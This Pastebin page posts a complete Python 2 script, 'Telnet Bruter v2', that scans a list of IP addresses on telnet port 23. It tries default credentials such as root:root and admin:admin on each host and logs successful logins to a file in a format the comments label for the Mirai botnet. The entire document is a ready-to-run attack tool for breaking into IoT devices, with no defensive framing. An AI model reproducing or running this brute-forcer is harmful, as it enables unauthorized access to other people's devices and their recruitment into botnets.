Advertisement
Dr-L0v3

Telnet Bruter v2

Dec 21st, 2017
868
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.68 KB | None | 0 0
  1. #!/usr/bin/python
  2. # Telnet Bruter v2
  3. # Dr.L0v3
  4.  
  5. import threading, sys, os, re, time, socket
  6. from Queue import *
  7. from sys import stdout
  8.  
  9. if len(sys.argv) < 4:
  10.     print "Usage: python "+sys.argv[0]+" <list> <threads> <output file>"
  11.     sys.exit()
  12.  
  13. ips = open(sys.argv[1], "r").readlines()
  14. threads = int(sys.argv[2])
  15. output_file = sys.argv[3]
  16. queue = Queue()
  17. info = ["root:jauntech", "root:root", "admin:admin"]
  18. queue_count = 0
  19.  
  20. for ip in ips:
  21.     queue_count += 1
  22.     stdout.write("\r[%d] Added to queue" % queue_count)
  23.     stdout.flush()
  24.     queue.put(ip)
  25. print "\n"
  26.  
  27. def readUntil(tn, string, timeout=8):
  28.     buf = ''
  29.     start_time = time.time()
  30.     while time.time() - start_time < timeout:
  31.         buf += tn.recv(2048)
  32.         time.sleep(0.01)
  33.         if string in buf: return buf
  34.     raise Exception('TIMEOUT!')
  35.  
  36. def w():
  37.     try:
  38.         while True:
  39.             try:
  40.                 IP = queue.get()
  41.                 st4rt = brute(IP)
  42.                 st4rt.start()
  43.                 queue.task_done()
  44.                 time.sleep(0.2)
  45.             except:
  46.                 print "[*] THREAD UNABLE TO START" #may spam if finished
  47.                 pass
  48.     except:
  49.         pass
  50.  
  51. class brute(threading.Thread):
  52.     def __init__ (self, ip):
  53.         threading.Thread.__init__(self)
  54.         self.ip = str(ip).rstrip('\n')
  55.     def run(self):
  56.         end = 0
  57.         while (end == 0):
  58.             try:
  59.                 try:
  60.                     tn = socket.socket()
  61.                     tn.settimeout(8)
  62.                     tn.connect((self.ip,23))
  63.                 except Exception:
  64.                     end = 1
  65.                     tn.close()
  66.                 username = "x"
  67.                 password = "x"
  68.                 trys = 0
  69.                 for passwd in info:
  70.                     if ":n/a" in passwd:
  71.                         password=""
  72.                     else:
  73.                         password=passwd.split(":")[1]
  74.                     if "n/a:" in passwd:
  75.                         username=""
  76.                     else:
  77.                         username=passwd.split(":")[0]
  78.                     try:
  79.                         hoho = ''
  80.                         hoho += readUntil(tn, "ogin")
  81.                         if "ogin" in hoho:
  82.                             tn.send(username + "\n")
  83.                             trys += 1
  84.                             time.sleep(0.09)
  85.                         elif "sername" in hoho:
  86.                             end = 1
  87.                             tn.close()
  88.                         elif "User Access" in hoho:
  89.                             end = 1
  90.                             tn.close()
  91.                         else:
  92.                             end = 1
  93.                             tn.close()
  94.                     except Exception:
  95.                         end = 1
  96.                         tn.close()
  97.                     try:
  98.                         hoho = ''
  99.                         hoho += readUntil(tn, "assword")
  100.                         if "assword" in hoho:
  101.                             tn.send(password + "\n")
  102.                             time.sleep(0.3)
  103.                     except Exception:
  104.                         end = 1
  105.                         tn.close()
  106.                     try:
  107.                         prompt = ''
  108.                         prompt += tn.recv(9999)
  109.                         if "Information" in prompt or "ncomplete" in prompt or "not exist." in prompt or "ailed" in prompt or "try" in prompt or "enied" in prompt or "rong" in prompt or "Access" in prompt or "ailure" in prompt or "ncorrect" in prompt or "nvalid" in prompt or "again" in prompt:
  110.                             prompt = ''
  111.                         if "%" in prompt or "$" in prompt or "#" in prompt or ">" in prompt:
  112.                             print "[!] FOUND LOGIN %s! Attempts: %s"%(self.ip, trys)
  113.                             #os.system("echo "+self.ip+" >> "+output_file+"") #1.1.1.1 # bios.txt
  114.                             #os.system("echo "+self.ip+":"+username+":"+password+" >> "+output_file+"")    # 1.1.1.1:user:pass # regular
  115.                             os.system("echo "+self.ip+":23 "+username+":"+password+" >> "+output_file+"") # 1.1.1.1:23 user:pass # mirai
  116.                             tn.close()
  117.                             end = 1
  118.                         else:
  119.                             pass
  120.                     except Exception:
  121.                         end = 1
  122.                         tn.close()
  123.             except:
  124.                 pass
  125.    
  126. for l in xrange(threads):
  127.     try:
  128.         t = threading.Thread(target=w)
  129.         t.start()
  130.         time.sleep(0.01)
  131.     except:
  132.         print "[-] FAILED TO START WORKER THREAD"
  133.         pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement